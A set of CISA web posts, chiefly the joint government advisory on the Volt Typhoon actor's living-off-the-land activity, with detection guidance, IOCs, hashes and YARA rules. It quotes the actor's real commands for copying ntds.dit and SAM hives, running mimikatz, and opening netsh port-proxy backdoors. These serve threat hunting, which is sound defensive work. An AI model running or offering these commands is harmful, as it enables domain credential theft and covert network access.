CISA has added one new vulnerability to its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. CVE-2023-2868 Barracuda Networks ESG Appliance Improper Input Validation Vulnerability These types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise. Note: To view other newly added vulnerabilities in the catalog, click on the arrow in the "Date Added to Catalog" column—which will sort by descending dates. Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the Known Exploited Vulnerabilities Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information. Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria. This product is provided subject to this Notification and this Privacy & Use policy.

CISA urges users to remain on alert for malicious cyber activity following a natural disaster such as a hurricane or typhoon, as attackers target potential disaster victims by leveraging social engineering tactics, techniques, and procedures (TTPs). Social engineering TTPs include phishing attacks that use email or malicious websites to solicit personal information by posing as a trustworthy organization, notably as charities providing relief. Exercise caution in handling emails with hurricane/typhoon-related subject lines, attachments, or hyperlinks to avoid compromise. In addition, be wary of social media pleas, texts, or door-to-door solicitations related to severe weather events.   CISA encourages users to review the Federal Trade Commission’s Staying Alert to Disaster-related Scams and Before Giving to a Charity, and CISA’s Using Caution with Email Attachments and Tips on Avoiding Social Engineering and Phishing Attacks to avoid falling victim to malicious attacks.

CISA released one Industrial Control Systems (ICS) advisory on May 25, 2023. This advisory provides timely information about current security issues, vulnerabilities, and exploits surrounding ICS.  ICSA-23-145-01 Moxa MXsecurity Series CISA encourages users and administrators to review the newly released ICS advisory for technical details and mitigations.

Today, CISA joined the National Security Agency (NSA), the Federal Bureau of Investigation (FBI), and international partners in releasing a joint cybersecurity advisory highlighting recently discovered activities conducted by a People’s Republic of China (PRC) state-sponsored cyber threat actor.  This advisory highlights how PRC cyber actors use techniques called “living off the land” to evade detection by using built-in networking administration tools to compromise networks and conduct malicious activity. This enables the cyber actor to blend in with routine Windows system and network activities, limit activity and data captured in default logging configurations, and avoid endpoint detection and response (EDR) products that could alert to the introduction of third-party applications on the host or network. Private sector partners have identified that this activity affects networks across U.S. critical infrastructure sectors, and the authoring agencies believe the actor could apply the same techniques against these and other sectors worldwide. The authoring agencies have identified potential indicators associated with these techniques. To hunt for this activity, CISA and partners encourage network defenders to use the actor’s commands and detection signatures provided in this advisory. CISA and partners further encourage network defenders to view the indicators of compromise (IOCs) and mitigations summaries to detect this activity.  

Summary The United States and international cybersecurity authorities are issuing this joint Cybersecurity Advisory (CSA) to highlight a recently discovered cluster of activity of interest associated with a People’s Republic of China (PRC) state-sponsored cyber actor, also known as Volt Typhoon. Private sector partners have identified that this activity affects networks across U.S. critical infrastructure sectors, and the authoring agencies believe the actor could apply the same techniques against these and other sectors worldwide. This advisory from the United States National Security Agency (NSA), the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Federal Bureau of Investigation (FBI), the Australian Signals Directorate’s Australian Cyber Security Centre (ACSC), the Communications Security Establishment’s Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NCSC-NZ), and the United Kingdom National Cyber Security Centre (NCSC-UK) (hereafter referred to as the “authoring agencies”) provides an overview of hunting guidance and associated best practices to detect this activity. One of the actor’s primary tactics, techniques, and procedures (TTPs) is living off the land, which uses built-in network administration tools to perform their objectives. This TTP allows the actor to evade detection by blending in with normal Windows system and network activities, avoid endpoint detection and response (EDR) products that would alert on the introduction of third-party applications to the host, and limit the amount of activity that is captured in default logging configurations. Some of the built-in tools this actor uses are: wmic, ntdsutil, netsh, and PowerShell. The advisory provides examples of the actor’s commands along with detection signatures to aid network defenders in hunting for this activity. Many of the behavioral indicators included can also be legitimate system administration commands that appear in benign activity. Care should be taken not to assume that findings are malicious without further investigation or other indications of compromise. Download the PDF version of this report (723 KB) Technical Details This advisory uses the MITRE ATT&CK for Enterprise framework, version 13. See the Appendix: MITRE ATT&CK Techniques for all referenced tactics and techniques. Background The authoring agencies are aware of recent People’s Republic of China (PRC) state-sponsored cyber activity and have identified potential indicators associated with these techniques. This advisory will help net defenders hunt for this activity on their systems. It provides many network and host artifacts associated with the activity occurring after the network has been initially compromised, with a focus on command lines used by the cyber actor. An Indicators of compromise (IOCs) summary is included at the end of this advisory. Especially for living off the land techniques, it is possible that some command lines might appear on a system as the result of benign activity and would be false positive indicators of malicious activity. Defenders must evaluate matches to determine their significance, applying their knowledge of the system and baseline behavior. Additionally, if creating detection logic based on these commands, network defenders should account for variability in command string arguments, as items such as ports used may be different across environments. Artifacts Network artifacts The actor has leveraged compromised small office/home office (SOHO) network devices as intermediate infrastructure to obscure their activity by having much of the command and control (C2) traffic emanate from local ISPs in the geographic area of the victim. Owners of SOHO devices should ensure that network management interfaces are not exposed to the Internet to avoid them being re-purposed as redirectors by malicious actors. If they must be exposed to the Internet, device owners and operators should ensure they follow zero trust principles and maintain the highest level of authentication and access controls possible. The actor has used Earthworm and a custom Fast Reverse Proxy (FRP) client with hardcoded C2 callbacks [T1090] to ports 8080, 8443, 8043, 8000, and 10443 with various filenames including, but not limited to: cisco_up.exe, cl64.exe, vm3dservice.exe, watchdogd.exe, Win.exe, WmiPreSV.exe, and WmiPrvSE.exe.Host artifacts Windows management instrumentation (WMI/WMIC) The actor has executed the following command to gather information about local drives [T1082]: cmd.exe /C "wmic path win32_logicaldisk get caption,filesystem,freespace,size,volumename"This command does not require administrative credentials to return results. The command uses a command prompt [T1059.003] to execute a Windows Management Instrumentation Command Line (WMIC) query, collecting information about the storage devices on the local host, including drive letter, file system (e.g., new technology file system [NTFS]), free space and drive size in bytes, and an optional volume name. Windows Management Instrumentation (WMI) is a built-in Windows tool that allows a user to access management information from hosts in an enterprise environment. The command line version of WMI is called WMIC. By default, WMI Tracing is not enabled, so the WMI commands being executed and the associated user might not be available. Additional information on WMI events and tracing can be found in the References section of the advisory. Ntds.dit Active Directory database The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive from Windows domain controllers (DCs) out of the network to perform password cracking [T1003.003]. (The ntds.dit file is the main Active Directory (AD) database file and, by default, is stored at %SystemRoot%\NTDS\ntds.dit. This file contains information about users, groups, group memberships, and password hashes for all users in the domain; the SYSTEM registry hive contains the boot key that is used to encrypt information in the ntds.dit file.) Although the ntds.dit file is locked while in use by AD, a copy can be made by creating a Volume Shadow Copy and extracting the ntds.dit file from the Shadow Copy. The SYSTEM registry hive may also be obtained from the Shadow Copy. The following example commands show the actor creating a Shadow Copy and then extracting a copy of the ntds.dit file from it. cmd /c vssadmin create shadow /for=C: > C:\Windows\Temp\.tmp cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\Windows\Temp > C:\Windows\Temp\.tmpThe built-in Ntdsutil.exe tool performs all these actions using a single command. There are several ways to execute Ntdsutil.exe, including running from an elevated command prompt (cmd.exe), using WMI/WMIC, or PowerShell. Defenders should look for the execution of Ntdsutil.exe commands using long, short, or a combination of the notations. For example, the long notation command activate instance ntds ifm can also be executed using the short notation ac i ntds i. Table 1 provides the long and short forms of the arguments used in the sample Ntdsutil.exe command, along with a brief description of the arguments. Table 1: Ntdsutil.exe command syntax Long form Short form Description activate instance % ac i % Sets variable % as the active instance for ntdsutil to use ifm i Install from media (ifm). Creates installation media to be used with DCPromo so the server will not need to copy data from another Domain Controller on the network The actor has executed WMIC commands [T1047] to create a copy of the ntds.dit file and SYSTEM registry hive using ntdsutil.exe. Each of the following actor commands is a standalone example; multiple examples are provided to show how syntax and file paths may differ per environment. wmic process call create "ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\pro wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\Pro" wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\" "cmd.exe" /c wmic process call create "cmd.exe /c mkdir C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\McAfee_Logs\" cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\" 1> \\127.0.0.1\ADMIN$\ 2>&1Note: The would be an epoch timestamp following the format like “__1684956600.123456”. Each actor command above creates a copy of the ntds.dit database and the SYSTEM and SECURITY registry hives in the C:\Windows\Temp\ directory, where is replaced with the path specified in the command (e.g., pro, tmp, or McAfee_Logs). By default, the hidden ADMIN$ share is mapped to C:\Windows\, so the last command will direct standard output and error messages from the command to a file within the folder specified. The actor has also saved the files directly to the C:\Windows\Temp and C:\Users\Public directories, so the entirety of those directory structures should be analyzed. Ntdsutil.exe creates two subfolders in the directory specified in the command: an Active Directory folder that contains the ntds.dit and ntds.jfm files, and a registry folder that contains the SYSTEM and SECURITY hives. Defenders should look for this folder structure across their network: \Active Directory\ntds.dit \Active Directory\ntds.jfm \registry\SECURITY \registry\SYSTEMWhen one of the example commands is executed, several successive log entries are created in the Application log, under the ESENT Source. Associated events can be viewed in Windows Event Viewer by navigating to: Windows Logs | Application. To narrow results to relevant events, select Filter Current Log from the Actions menu on the right side of the screen. In the Event sources dropdown, check the box next to ESENT, then limit the logs to ID numbers 216, 325, 326, and 327. Clicking the OK box will apply the filters to the results. Since ESENT logging is used extensively throughout Windows, defenders should focus on events that reference ntds.dit. If such events are present, the events’ details should contain the file path where the file copies were created. Since these files can be deleted, or enhanced logging may not be configured on hosts, the file path can greatly aid in a hunt operation. Identifying the user associated with this activity is also a critical step in a hunt operation as other actions by the compromised—or actor-created—user account can be helpful to understand additional actor TTPs, as well as the breadth of the actor's actions. Note: If an actor can exfiltrate the ntds.dit and SYSTEM registry hive, the entire domain should be considered compromised, as the actor will generally be able to crack the password hashes for domain user accounts, create their own accounts, and/or join unauthorized systems to the domain. If this occurs, defenders should follow guidance for removing malicious actors from victim networks, such as CISA's Eviction Guidance for Network Affected by the SolarWinds and Active Directory/M365 Compromise. In addition to the above TTPs used by the actor to copy the ntds.dit file, the following tools could be used by an actor to obtain the same information: Secretsdump.py Note: This script is a component of Impacket, which the actor has been known to use Invoke-NinjaCopy (PowerShell) DSInternals (PowerShell) FgDump Metasploit Best practices for securing ntds.dit include hardening Domain Controllers and monitoring event logs for ntdsutil.exe and similar process creations. Additionally, any use of administrator privileges should be audited and validated to confirm the legitimacy of executed commands. PortProxy The actor has used the following commands to enable port forwarding [T1090] on the host: "cmd.exe /c "netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectaddress= connectport=8443 protocol=tcp"" "cmd.exe /c netsh interface portproxy add v4tov4 listenport=50100 listenaddress=0.0.0.0 connectport=1433 connectaddress="where is replaced with an IPv4 address internal to the network, omitting the < >’s. Netsh is a built-in Windows command line scripting utility that can display or modify the network settings of a host, including the Windows Firewall. The portproxy add command is used to create a host:port proxy that will forward incoming connections on the provided listenaddress and listenport to the connectaddress and connectport. Administrative privileges are required to execute the portproxy command. Each portproxy command above will create a registry key in the HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp\ path. Defenders should look for the presences of keys in this path and investigate any anomalous entries. Note: Using port proxies is not common for legitimate system administration since they can constitute a backdoor into the network that bypasses firewall policies. Administrators should limit port proxy usage within environments and only enable them for the period of time in which they are required. Defenders should also use unusual IP addresses and ports in the command lines or registry entries to identify other hosts that are potentially included in actor actions. All hosts on the network should be examined for new and unusual firewall and port forwarding rules, as well as IP addresses and ports specified by the actor. If network traffic or logging is available, defenders should attempt to identify what traffic was forwarded though the port proxies to aid in the hunt operation. As previously mentioned, identifying the associated user account that made the networking changes can also aid in the hunt operation. Firewall rule additions and changes can be viewed in Windows Event Viewer by navigating to: Applications and Service Logs | Microsoft | Windows | Windows Firewall With Advanced Security | Firewall.In addition to host-level changes, defenders should review perimeter firewall configurations for unauthorized changes and/or entries that may permit external connections to internal hosts. The actor is known to target perimeter devices in their operations. Firewall logs should be reviewed for any connections to systems on the ports listed in any portproxy commands discovered. PowerShell The actor has used the following PowerShell [T1059.001] command to identify successful logons to the host [T1033]: Get-EventLog security -instanceid 4624Note: Event ID 4624 is logged when a user successfully logs on to a host and contains useful information such as the logon type (e.g., interactive or networking), associated user and computer account names, and the logon time. Event ID 4624 entries can be viewed in Windows Event Viewer by navigating to: Windows Logs | Security. PowerShell logs can be viewed in Event Viewer: Applications and Service Logs | Windows PowerShell.This command identifies what user account they are currently leveraging to access the network, identify other users logged on to the host, or identify how their actions are being logged. If the actor is using a password spray technique [T1110.003], there may be several failed logon (Event ID 4625) events for several different user accounts, followed by one or more successful logons (Event ID 4624) within a short period of time. This period may vary by actor but can range from a few seconds to a few minutes. If the actor is using brute force password attempts [T1110] against a single user account, there may be several Event ID 4625 entries for that account, followed by a successful logon Event ID 4624. Defenders should also look for abnormal account activity, such as logons outside of normal working hours and impossible time-and-distance logons (e.g., a user logging on from two geographically separated locations at the same time). Impacket The actor regularly employs the use of Impacket’s wmiexec, which redirects output to a file within the victim host's ADMIN$ share (C:\Windows\) containing an epoch timestamp in its name. The following is an example of the "dir" command being executed by wmiexec.py: cmd.exe /Q /c *dir 1> \\127.0.0.1\ADMIN$\__1684956600.123456 2>&1 Note: Discovery of an entry similar to the example above in the Windows Event Log and/or a file with a name in a similar format may be evidence of malicious activity and should be investigated further. In the event that only a filename is discovered, the epoch timestamp within the filename reflects the time of execution by default and can be used to help scope threat hunting activities. Enumeration of the environment The following commands were used by the actor to enumerate the network topology [T1016], the active directory structure [T1069.002], and other information about the target environment [T1069.001], [T1082]: arp -a curl www.ip-api.com dnscmd . /enumrecords /zone {REDACTED} dnscmd . /enumzones dnscmd /enumrecords {REDACTED} . /additional ipconfig /all ldifde.exe -f c:\windows\temp\.txt -p subtree net localgroup administrators net group /dom net group "Domain Admins" /dom netsh interface firewall show all netsh interface portproxy show all netsh interface portproxy show v4tov4 netsh firewall show all netsh portproxy show v4tov4 netstat -ano reg query hklm\software\ systeminfo tasklist /v whoami wmic volume list brief wmic service brief wmic product list brief wmic baseboard list full wevtutil qe security /rd:true /f:text /q:*[System[(EventID=4624) and TimeCreated[@SystemTime>='{REDACTED}']] and EventData[Data='{REDACTED}']]Additional credential theft The actor also used the following commands to identify additional opportunities for obtaining credentials in the environment [T1555], [T1003]: dir C:\Users\{REDACTED}\.ssh\known_hosts dir C:\users\{REDACTED}\appdata\roaming\Mozilla\firefox\profiles mimikatz.exe reg query hklm\software\OpenSSH reg query hklm\software\OpenSSH\Agent reg query hklm\software\realvnc reg query hklm\software\realvnc\vncserver reg query hklm\software\realvnc\Allusers reg query hklm\software\realvnc\Allusers\vncserver reg query hkcu\software\{REDACTED}\putty\session reg save hklm\sam ss.dat reg save hklm\system sy.datAdditional commands The actor executed the following additional commands: 7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z C:\Windows\system32\pcwrun.exe C:\Users\Administrator\Desktop\Win.exe C:\Windows\System32\cmdbak.exe /c ping -n 1 127.0.0.1 > C:\Windows\temp\putty.log C:\Windows\Temp\tmp.log "cmd.exe" /c dir \\127.0.0.1\C$ /od "cmd.exe" /c ping –a –n 1 "cmd.exe" /c wmic /user: /password: process call create "net stop \"\" > C:\Windows\Temp\tmp.log" cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__ 2 2>&1 net use \\127.0.0.1\IPC$ /y /d powershell start-process -filepath c:\windows\temp\.bat -windowstyle Hidden rar.exe a –{REDACTED} c:\Windows\temp\{REDACTED} D:\{REDACTED}\ wmic /node:{REDACTED} /user:{REDACTED} /password:{REDACTED} cmd /c whoami xcopy C:\windows\temp\hp d:\{REDACTED}Mitigations The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actor’s activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity Frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections. Defenders should harden domain controllers and monitor event logs [2.T] for ntdsutil.exe and similar process creations. Additionally, any use of administrator privileges should be audited and validated to confirm the legitimacy of executed commands. Administrators should limit port proxy usage within environments and only enable them for the period of time in which they are required [2.X]. Defenders should investigate unusual IP addresses and ports in command lines, registry entries, and firewall logs to identify other hosts that are potentially involved in actor actions. In addition to host-level changes, defenders should review perimeter firewall configurations for unauthorized changes and/or entries that may permit external connections to internal hosts. Defenders should also look for abnormal account activity, such as logons outside of normal working hours and impossible time-and-distance logons (e.g., a user logging on from two geographically separated locations at the same time). Defenders should forward log files to a hardened centralized logging server, preferably on a segmented network [2.F]. Logging recommendations To be able to detect the activity described in this CSA, defenders should set the audit policy for Windows security logs to include “audit process creation” and “include command line in process creation events” in addition to accessing the logs. Otherwise, the default logging configurations may not contain the necessary information. Enabling these options will create Event ID 4688 entries in the Windows Security log to view command line processes. Given the cost and difficulty of logging and analyzing this kind of activity, if an organization must limit the requirements, they should focus on enabling this kind of logging on systems that are externally facing or perform authentication or authorization, especially including domain controllers. To hunt for the malicious WMI and PowerShell activity, defenders should also log WMI and PowerShell events. By default, WMI Tracing and deep PowerShell logging are not enabled, but they can be enabled by following the configuration instructions linked in the References section. The actor takes measures to hide their tracks, such as clearing logs [T1070.001]. To ensure log integrity and availability, defenders should forward log files to a hardened centralized logging server, preferably on a segmented network. Such an architecture makes it harder for an actor to cover their tracks as evidence of their actions will be captured in multiple locations. Defenders should also monitor logs for Event ID 1102, which is generated when the audit log is cleared. All Event ID 1102 entries should be investigated as logs are generally not cleared and this is a known actor tactic to cover their tracks. Even if an event log is cleared on a host, if the logs are also stored on a logging server, the copy of the log will be preserved. This activity is often linked to malicious exploitation of edge devices and network management devices. Defenders should enable logging on their edge devices, to include system logs, to be able to identify potential exploitation and lateral movement. They should also enable network-level logging, such as sysmon, webserver, middleware, and network device logs. Indicators of compromise (IOCs) summary TTPs Exploiting vulnerabilities [T1190] in widely used software including, but not limited to: CVE-2021-40539—ManageEngine ADSelfService Plus.https://www.cisa.gov/uscert/ncas/alerts/aa21-259a. CVE-2021-27860—FatPipe WARP, IPVPN, MPVPN.https://www.ic3.gov/Media/News/2021/211117-2.pdf. Using webshells for persistence and exfiltration [T1505.003], with at least some of the webshells derived from the Awen webshell. Using compromised Small-Office Home-Office (SOHO) devices (e.g. routers) to obfuscate the source of the activity [T1090.002]. Most common types include ASUS, Cisco RV, Draytek Vigor, FatPipe IPVPN/MPVPN/WARP, Fortinet Fortigate, Netgear Prosafe, and Zyxel USG devices. Common CVEs for these devices and mitigation guidance can be found in the joint Cybersecurity Advisory, “Top CVEs Actively Exploited by People’s Republic of China State-Sponsored Cyber Actors.” Using living off the land tools for discovery, lateral movement, and collection activities, to include: certutil dnscmd ldifde makecab net user/group/use netsh nltest ntdsutil PowerShell req query/save systeminfo tasklist wevtutil wmic xcopy Selective clearing of Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity [T1546]. Using open source “hacktools” tools, such as: Fast Reverse Proxy (frp) – Probably derived from the publicly-available fatedier and EarthWorm variants. Impacket – To detect Impacket usage, see the joint Cybersecurity Advisory: "Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization”. Mimikatz.exe Remote administration tools – Defenders should consult the joint Cybersecurity Advisory: "Protecting Against Malicious Use of Remote Monitoring and Management Software". Command execution File names and directory paths used in these commands are only meant to serve as examples. Actual names and paths may differ depending on environment and activity, so defenders should account for variants when performing queries. Note: Many of the commands are derivatives of common system administration commands that could generate false positives when used alone without additional indicators. 7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z c:\windows\temp\* "C:\pstools\psexec.exe" \\{REDACTED} -s cmd /c "cmd.exe /c "netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=9999"" C:\Windows\system32\pcwrun.exe C:\Users\Administrator\Desktop\Win.exe cmd.exe /C dir /S \\{REDACTED}\c$\Users\{REDACTED} >> c:\windows\temp\{REDACTED}.tmp "cmd.exe" /c wmic process call create "cmd.exe /c mkdir C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\McAfee_Logs\" cmd.exe /Q /c *cd 1> \\127.0.0.1\ADMIN$\__ 2>&1 cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__1652470932.9400265 2>&1 cmd.exe /Q /c net group "domain admins" /dom 1>\\127.0.0.1\ADMIN$\__ 2>&1 cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\" 1> \\127.0.0.1\ADMIN$\ 2>&1 D:\{REDACTED}\xcopy C:\windows\temp\hp d:\{REDACTED} Get-EventLog security -instanceid 4624 ldifde.exe -f c:\windows\temp\cisco_up.txt -p subtree makecab ..\backup\210829-020000.zip ..\webapps\adssp\html\Lock.lic move "\\\c$\users\public\Appfile\registry\SYSTEM" ..\backup\210829-020000.zip netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectaddress={REDACTED} connectport=8443 protocol=tcp netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=9999 Rar.exe a –{REDACTED} c:\Windows\temp\DMBC2C61.tmp start-process -filepath c:\windows\temp\.bat -windowstyle hidden 1Note: The batch file in question (.bat) could use any name, and no discernable pattern has been determined at this time. wmic process call create "cmd.exe /c mkdir C:\users\public\Appfile & ntdsutil \"ac i ntds\" ifm \"create full C:\users\public\Appfile\" q q wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\" wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\Pro" wmic process call create "ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\"Command line patterns Certain patterns in commands (with asterisks for wildcards) can be used to identify potentially malicious commands: cmd.exe /C dir /S \\* >> * cmd.exe /Q /c * 1> \\127.0.0.1\ADMIN$\__*.*>&1 powershell start-process -filepath c:\windows\temp\*.exe -windowstyle hidden File paths The most common paths where files and executables used by the actor have been found include: C:\Users\Public\Appfile (including subdirectories) C:\Perflogs (including subdirectories) C:\Windows\Temp (including subdirectories) File names The file names the actor has previously used for such things as malware, scripts, and tools include: backup.bat cl64.exe update.bat Win.exe billagent.exe nc.exe update.exe WmiPrvSE.exe billaudit.exe rar.exe vm3dservice.exe WmiPreSV.exe cisco_up.exe SMSvcService.exe watchdogd.exe   In addition to the file names and paths above, malicious files names, believed to be randomly created, in the following format have also been discovered: C:\Windows\[a-zA-Z]{8}.exeSHA-256 file hashes f4dd44bc19c19056794d29151a5b1bb76afd502388622e24c863a8494af147dd ef09b8ff86c276e9b475a6ae6b54f08ed77e09e169f7fc0872eb1d427ee27d31 d6ebde42457fe4b2a927ce53fc36f465f0000da931cfab9b79a36083e914ceca 472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d 66a19f7d2547a8a85cee7a62d0b6114fd31afdee090bd43f36b89470238393d7 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71 41e5181b9553bbe33d91ee204fe1d2ca321ac123f9147bb475c0ed32f9488597 c7fee7a3ffaf0732f42d89c4399cbff219459ae04a81fc6eff7050d53bd69b99 3a9d8bb85fbcfe92bae79d5ab18e4bca9eaf36cea70086e8d1ab85336c83945f fe95a382b4f879830e2666473d662a24b34fccf34b6b3505ee1b62b32adafa15 ee8df354503a56c62719656fae71b3502acf9f87951c55ffd955feec90a11484 User-agent In some cases, the following user-agent string (including the extra spacing) was identified performing reconnaissance activities by this actor: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0Yara rules rule ShellJSP { strings: $s1 = "decrypt(fpath)" $s2 = "decrypt(fcontext)" $s3 = "decrypt(commandEnc)" $s4 = "upload failed!" $s5 = "aes.encrypt(allStr)" $s6 = "newid" condition: filesize < 50KB and 4 of them } rule EncryptJSP { strings: $s1 = "AEScrypt" $s2 = "AES/CBC/PKCS5Padding" $s3 = "SecretKeySpec" $s4 = "FileOutputStream" $s5 = "getParameter" $s6 = "new ProcessBuilder" $s7 = "new BufferedReader" $s8 = "readLine()" condition: filesize < 50KB and 6 of them } rule CustomFRPClient { meta: description=”Identify instances of the actor's custom FRP tool based on unique strings chosen by the actor and included in the tool” strings: $s1 = "%!PS-Adobe-" nocase ascii wide $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase ascii wide $s4 = "MAGA2024!!!" nocase ascii wide $s5 = "HTTP_PROXYHost: %s" nocase ascii wide condition: all of them } rule HACKTOOL_FRPClient { meta: description=”Identify instances of FRP tool (Note: This tool is known to be used by multiple actors, so hits would not necessarily imply activity by the specific actor described in this report)” strings: $s1 = "%!PS-Adobe-" nocase ascii wide $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase ascii wide $s4 = "HTTP_PROXYHost: %s" nocase ascii wide condition: 3 of them } References Active Directory and domain controller hardening: Best practices: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory CISA regional cyber threats: PRC state-sponsored activity: China Cyber Threat Overview and Advisories Microsoft Threat Intelligence blog: Volt Typhoon activity: https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/ Ntdsutil.exe: Overview: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343(v=ws.11) PowerShell: Best practices: https://media.defense.gov/2022/Jun/22/2003021689/-1/-1/0/CSI_KEEPING_POWERSHELL_SECURITY_MEASURES_TO_USE_AND_EMBRACE_20220622.PDF Logging configuration: https://www.mandiant.com/resources/blog/greater-visibility Windows command line process auditing: Overview: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing Windows Defender Firewall: Best practices: https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/best-practices-configuring Logging configuration: https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/configure-the-windows-firewall-log Windows management instrumentation: Events: https://learn.microsoft.com/en-us/windows/win32/wmisdk/tracing-wmi-activity#obtaining-wmi-events-through-event-viewer Tracing activity: https://learn.microsoft.com/en-us/windows/win32/wmisdk/tracing-wmi-activity Windows password spraying: Logging and playbook configuration: https://learn.microsoft.com/en-us/security/compass/incident-response-playbook-password-spray Acknowledgements The NSA Cybersecurity Collaboration Center, along with the authoring agencies, acknowledge Amazon Web Services (AWS) Security, Broadcom, Cisco Talos, Google's Threat Analysis Group, Lumen Technologies, Mandiant, Microsoft Threat Intelligence (MSTI), Palo Alto Networks, SecureWorks, SentinelOne, Trellix, and additional industry partners for their collaboration on this advisory. Disclaimer of endorsement The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise does not constitute or imply its endorsement, recommendation, or favoring by the authoring agencies' governments, and this guidance shall not be used for advertising or product endorsement purposes. Trademark recognition Active Directory®, Microsoft®, PowerShell®, and Windows® are registered trademarks of Microsoft Corporation. MITRE® and ATT&CK® are registered trademarks of The MITRE Corporation. Purpose This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. Contact U.S. organizations: Urgently report any anomalous activity or incidents, including based upon technical information associated with this Cybersecurity Advisory, to CISA at Report@cisa.dhs.gov or cisa.gov/report or to the FBI via your local FBI field office listed at https://www.fbi.gov/contact-us/field-offices.   NSA Cybersecurity Report Questions and Feedback: CybersecurityReports@nsa.gov NSA Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov NSA Media Inquiries / Press Desk: 443-634-0721, MediaRelations@nsa.gov Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and to access alerts and advisories. Canadian organizations: Report incidents by emailing CCCS at contact@cyber.gc.ca. New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654. United Kingdom organizations: Report a significant cyber security incident at ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973. Appendix: MITRE ATT&CK Techniques Table 2 captures all referenced threat actor tactics and techniques in this advisory. Table 2: All referenced threat actor tactics and techniques Initial Access Technique Title ID Use Exploit Public-facing Application T1190 Actor used public-facing applications to gain initial access to systems; in this case, Earthworm and PortProxy. Execution Windows Management Instrumentation T1047 The actor executed WMIC commands to create a copy of the SYSTEM registry. Command and Scripting Interpreter: PowerShell T1059.001 The actor used a PowerShell command to identify successful logons to the host. Command and Scripting Interpreter: Windows Command Shell T1059.003 The actor used this primary command prompt to execute a query that collected information about the storage devices on the local host. Persistence Server Software Component: Web Shell T1505.003 The actor used backdoor web servers with web shells to establish persistence to systems, including some of the webshells being derived from Awen webshell. Defense Evasion Hide Artifacts T1546 The actor selectively 